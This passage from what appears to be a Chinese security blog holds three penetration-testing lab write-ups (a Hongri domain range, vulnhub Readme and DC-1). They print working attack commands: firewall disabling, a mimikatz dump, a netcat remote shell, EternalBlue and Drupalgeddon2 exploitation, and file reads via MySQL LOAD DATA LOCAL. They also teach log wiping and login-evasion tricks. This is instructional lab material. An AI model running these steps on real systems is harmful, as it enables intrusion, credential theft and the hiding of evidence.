dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f使用远程登录,即可发现允许远程登录了(注意Proxifier全局代理不能断掉)拿下winserver2012域控服务器现在已经拿下了三台,那么接下来就是第四台win7(pc),ip:30,回到刚刚的MSFset RHOSTS 192.168.93.30开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f此时已经可以远程连接,输入之前获得的密码即可拿下第最后一台PC主机至此渗透结束,还可以清除日志,关闭全部远程,恢复到初始状态,做好隐蔽措施渗透测试报告总结(deepseek)1. 测试概述本次渗透测试模拟了针对某企业网络的全流程攻击,覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器(CentOS/Ubuntu)、Windows域环境(2008/2012)及内网PC终端(Win7),最终成功获取域控服务器(Windows Server 2012)及全部内网主机的控制权。2. 攻击路径总览graph TD A[外网入口: Web-CentOS] --> B{漏洞利用} B --> C[Joomla 3.9.12后台接管] C --> D[MySQL凭据泄露] D --> E[Webshell上传 & 蚁剑连接] E --> F[SSH登录 & 内网代理搭建] F --> G[内网主机发现] G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用] H --> I[域控服务器渗透] I --> J[域内PC终端控制]3. 外网打点阶段3.1 目标识别 IP地址:192.168.1.110(桥接模式) 开放服务: 22端口:OpenSSH 5.3 80端口:Nginx 1.9.4 + Joomla 3.9.12 3306端口:MySQL 5.5.62 3.2 关键漏洞利用(1) Joomla后台接管 漏洞利用:通过configuration.php~备份文件泄露获取MySQL凭据 攻击链: # 数据库操作 INSERT INTO am2zu_users (...) VALUES (...); # 添加管理员账号 INSERT INTO am2zu_user_usergroup_map (...) VALUES (...); # 分配权限 结果:成功登录Joomla后台(admin2/secret) (2) Webshell植入 方法:通过模板编辑注入PHP一句话木马 工具:蚁剑连接http://192.168.1.110/shell.php 提权:利用Dirty Cow漏洞从wwwuser提权至root 4. 内网横向渗透4.1 网络拓扑分析 网段划分: 仅主机模式:192.168.93.0/24 关键主机: 192.168.93.10(域控-Win2012) 192.168.93.20(Win2008) 192.168.93.30(Win7-PC) 4.2 代理隧道搭建 工具:frp反向代理 配置:# frpc.ini [common] server_addr = 192.168.1.8 server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 4.3 横向移动关键步骤(1) SMB服务爆破 工具:Hydra 命令: proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20 结果:破解密码123qwe!ASD,获取Win2008控制权 (2) 永恒之蓝漏洞利用 模块:exploit/windows/smb/ms17_010_eternalblue Payload:windows/x64/meterpreter/reverse_tcp 结果:获取Win2008系统级Shell 5. 域渗透与域控提权5.1 域环境分析 域名称:TEST 域控IP:192.168.93.10 关键凭证: WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!! 5.2 域控攻击路径 凭证抓取: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 远程执行: sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd" 权限提升:通过RDP连接接管域控服务器 6. 渗透测试结果 主机IP 操作系统 获取权限级别 关键漏洞/方法 192.168.1.110 CentOS 7 root Joomla SQL注入 + Dirty Cow 192.168.93.20 Windows 2008 SYSTEM SMB密码爆破 + Mimikatz 192.168.93.10 Windows 2012 Domain Admin 横向移动 + 凭证重用 192.168.93.30 Windows 7 Administrator 永恒之蓝漏洞利用 7. 风险总结与修复建议7.1 高风险项 弱密码策略 SMB服务密码123qwe!ASD强度不足 建议:启用复杂度策略 + 定期强制修改 过时软件漏洞 Joomla 3.9.12存在未授权数据库写入风险 建议:升级至最新LTS版本 + 禁用备份文件访问 横向防御缺失 内网主机未部署EDR/流量监控 建议:部署微隔离策略 + 启用Windows Defender ATP 7.2 加固措施 网络层: # 防火墙规则示例(Linux) iptables -A INPUT -p tcp --dport 3306 -j DROP # 禁用MySQL外网访问 系统层: # Windows组策略 Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1 # 禁止明文凭据缓存 应用层: # Nginx配置隐藏版本号 server_tokens off; 8. 总结与反思本次测试暴露了企业网络在边界防护、密码管理和漏洞修复方面的严重不足。建议企业: 建立常态化红蓝对抗机制 每季度执行一次外部漏洞扫描 对运维人员开展ATT&CK攻击链防御培训 渗透测试不仅是技术验证,更是安全意识的觉醒。——By 泷羽Sec安全攻防团队往期推荐红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程
2025年05月18日
1,687 阅读
0 评论
0 点赞
2025-05-18
稀有靶机-Readme
这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,https://blog.csdn.net/2301_79316009/article/details/140642836这个问题很大,希望原作者能修改修改我这里提到了,唯一盲点就是fixed.nasm的编写,很懵,回头一定恶补靶机链接:https://www.vulnhub.com/entry/readme-1,336/主机发现80探测访问网页端口扫描的mysql服务拒绝连接,说明没有开启远程连接目录扫描php版本reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件Also, can you fix this search box? Sometimes it chucks errors depending on what I enter... I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though. 大致意思就是,这个输入框会报一些错误,让你修复测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了sqlmap结果看另外一个文件,有一个adminermysql服务失效使用内网地址,不允许连接到mysql服务器返回有一个图片的地方,源码泄露了一个路径访问路径文件内容ssh用户julian密码爆破的结果漏洞检索,也没有结果连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉vim /etc/mysql/mariadb.conf.d/50-server.cnf重启mysqlsudo service mysql restart设置mysql密码,并登录sudo mysqladmin -u root password 'root' mysql -u root -h 192.168.111.128 -p # 输入你得密码创建登录数据库,新加一个数据create database test; # 创建一个test数据库 use test # 切换到test数据库 create table demo(id int,name text); # 创建一个普通的表 insert into demo values(1,'demofefhkhakfh'); # 添加任意数据 select * from demo; +------+----------------+ | id | name | +------+----------------+ | 1 | demofefhkhakfh | +------+----------------+ 1 row in set (0.000 sec)这里我们就能进行远程连接了连接成功这里再结合之前暴露出来的路径信息执行如下命令load data local infile "/etc/julian.txt" into table demo;为空,检查一下原因设置一下local_infileSET GLOBAL local_infile = true; SHOW GLOBAL VARIABLES LIKE 'local_infile';检查secure_file_privSHOW GLOBAL VARIABLES LIKE 'secure_file_priv';这些都没问题,就是sql语句错了,可以看看这篇老外写的文章https://rastating.github.io/readme-walkthrough/正确的sql语句因该如下才对(和原来的对比就是少了个字段)# 原失败的sql语句 load data local infile "/etc/julian.txt" into table demo; # 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符 load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";同理,包含/etc/passwd,也可以成功sql语句如下load data local infile '/etc/passwd' into table test.demo fields terminated by "n";但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh漏洞利用原理自行查看,这篇文章写的不错:https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/登录成功后,信息收集识别hash类型,是MD5sudo再切换用户的目录,有一个poc.c,编译一下开启了http服务,看样子有防火墙继续信息收集端口和进程信息suid文件历史命令那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码 payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息 poc.c :一个需要放置shellcode并运行他的文件 #include <stdio.h> #include <string.h> int main(void) { unsigned char code[] = ""; void (*s)() = (void *)code; s(); return 0; }在kali中报了如下错误依次执行如下命令即可dpkg --add-architecture i386 apt-get update apt-get install libc6-dev-i386编译成功这里又要用到反汇编了,完整的poc.c如下这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了https://rastating.github.io/readme-walkthrough/global _start section .text _start: ; set the frame pointer mov ebp, esp ; clear required registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ; push encoded password onto stack push 0x7f7f1312 push 0x157b2f22 push 0x13247312 push 0x087b0423 push 0x73287022 push 0x30280912 push 0x3b162f20 push 0x360e1919 push 0x157b0913 push 0x757b0960 push 0x70167510 push 0x2d162f25 push 0x73241923 push 0x09167527 push 0x1a772b0c push 0x37787217 ; calculate size of password and store in $ecx lea ecx, [ebp] sub ecx, esp ; begin xor on the encoded password decode_loop: ; if at dword 12, xor with F lea edx, [0x14] cmp ecx, edx jz xor_f ; if at dword 11, xor with E lea edx, [0x18] cmp ecx, edx jz xor_e ; if at dword 10, xor with E lea edx, [0x1c] cmp ecx, edx jz xor_e ; if at dword 9, xor with B lea edx, [0x20] cmp ecx, edx jz xor_b ; if at dword 8, xor with D lea edx, [0x24] cmp ecx, edx jz xor_d ; if at dword 7, xor with 4 lea edx, [0x28] cmp ecx, edx jz xor_4 ; if at dword 6, xor with E lea edx, [0x2c] cmp ecx, edx jz xor_e ; if at dword 3, xor with D lea edx, [0x38] cmp ecx, edx jz xor_d ; if at none of the unique indexes ; xor with A. jmp xor_a short_loop_jmp: jmp decode_loop xor_f: lea ebx, [0x41414146] jmp xor_eof xor_e: lea ebx, [0x41414145] jmp xor_eof xor_b: lea ebx, [0x41414142] jmp xor_eof xor_d: lea ebx, [0x41414144] jmp xor_eof xor_4: lea ebx, [0x41414134] jmp xor_eof xor_a: lea ebx, [0x41414141] jmp xor_eof xor_eof: lea eax, [ebp] sub eax, ecx xor [eax], ebx sub dword [eax], 0x01010101 sub ecx, 0x4 xor eax, eax cmp ecx, eax jnz short_loop_jmp int3 int3 int3 int3依次执行,会生成一个a.out文件,该文件是修复后的可执行文件,我们使用gdb运行它启动此文件就好了,并查看这个xor_eof()函数反汇编信息查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下x/<n><f> <address> n 是要显示的单元数量(可选),表示要查看多少个内存单元。 f 是格式说明符,可以用来指定数据类型或格式。 <address> 是你想要查看的内存地址。 格式说明符在 x/ 命令中使用的格式说明符可以包括: b:以字节(byte)为单位显示。 h:以半字(short)为单位显示,通常为 2 字节。 w:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。 g:以双字(double word)为单位显示,通常为 8 字节。 s:以字符串的形式显示,通常以 null 结尾。 f:以浮点数格式显示(比如 float 或 double)。 i:以指令的格式显示,适用于机器指令。 例子 查看从某个地址开始的 10 个字节:x/10b 0x08048000 查看从某个地址开始的 5 个整型(常用 4 字节)值:x/5w 0x08048000 以字符串形式查看从某个地址开始的内容:x/s 0x08048000 查看机器指令i,和s一个一个试试,会找到一个base编码我们解码看看,这不就是我们要的密码嘛密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE往期推荐【oscp】Blender软件的信息泄露---VulnOSv2【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【kali笔记】shodan常见的20种基本使用方法,信息收集必备
2025年05月18日
1,508 阅读
0 评论
0 点赞
2025-05-18
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏前言由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。环境准备靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/攻击机:kali,自行准备信息收集开启靶机,切换net/桥接模式nmap探测主机存活80/sP探测nmap的基本使用,以及高级用法文章参考:nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。靶机端口扫描,开放了22、80、111、34471端口nmap 192.168.209.157 -p- -v访问http服务的80端口,进入到web界面,有一个登录sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入注册一个用户试试,他还要发送邮件,并没有让我们填写密码需要批准之后才能注册用户由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用访问也没发现什么有用的内容在这里没用,应该是一个api接口还有一些七七八八的就不看了,基本没啥作用的漏洞探测使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v 192.168.209.157msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole search Drupal使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的show payloads我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp当然也可以使用tcp正向连接set payload payload/php/meterpreter/bind_tcp他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试如果出现如下错误多半是防火墙端口没有放行就是配置下的本地监听端口使用iptables放行端口 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT这个时候重新开始攻击即可run getuid后渗透查看系统信息sysinfo获取shellshell上面终端显示的样子不好看,使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"这样子就好看多了找到flag1.txt他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );那当然是连接本地数据库咯mysql -udbuser -pR0ck3t查看所有数据库切换到这个站点的数据库,并查看有什么表use drupaldb show tables;找到有一个users表里面包含用户名/密码信息select * from users;这样子不好看,那么我们就加一个Gselect * from usersG;不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name '*hash*'在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?把他复制下来$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq进入mysqlmysql -udbuser -pR0ck3t修改密码update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';登录成功了!这里我们就找到了flag3点进去找到这个,提示我们去passwd文件看看提示我们去passwd,找到flag4cat /etc/passwd切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。使用find提权find / -exec "/bin/bash" -p ;提权成功,找到了最后一个flag痕迹清除观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'查看都有一些什么内容cat /var/log/apache2/access.log筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录sed -i '/192.168.209.1/d' /var/log/apache2/access.log这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志cat /var/log/apache2/access.log可以看到连同kali(192.168.209.151)的日志一起清除成功了同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'cat /var/log/apache2/error.log一大堆kali攻击日志同理直接使用sed更改 sed -i '/192.168.209.1/d' /var/log/apache2/error.log清除成功!2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3tupdate users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";3、清除数据库日志没有权限查看日志状态show variables like '%log%';general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。 当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。 当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。 慢查询日志slow_query_log看图也是关闭的 当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。 当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。 找到这两个日志文件路径,看看有没有,很好没有,这一步跳过4、清除命令历史查看自己曾经输入过的命令historyhistory -c # 清除命令历史5、登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。6、nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。7、更多我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知扩展知识隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i往期文章推荐:https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd
2025年05月18日
1,314 阅读
0 评论
0 点赞
1
...
14
15
16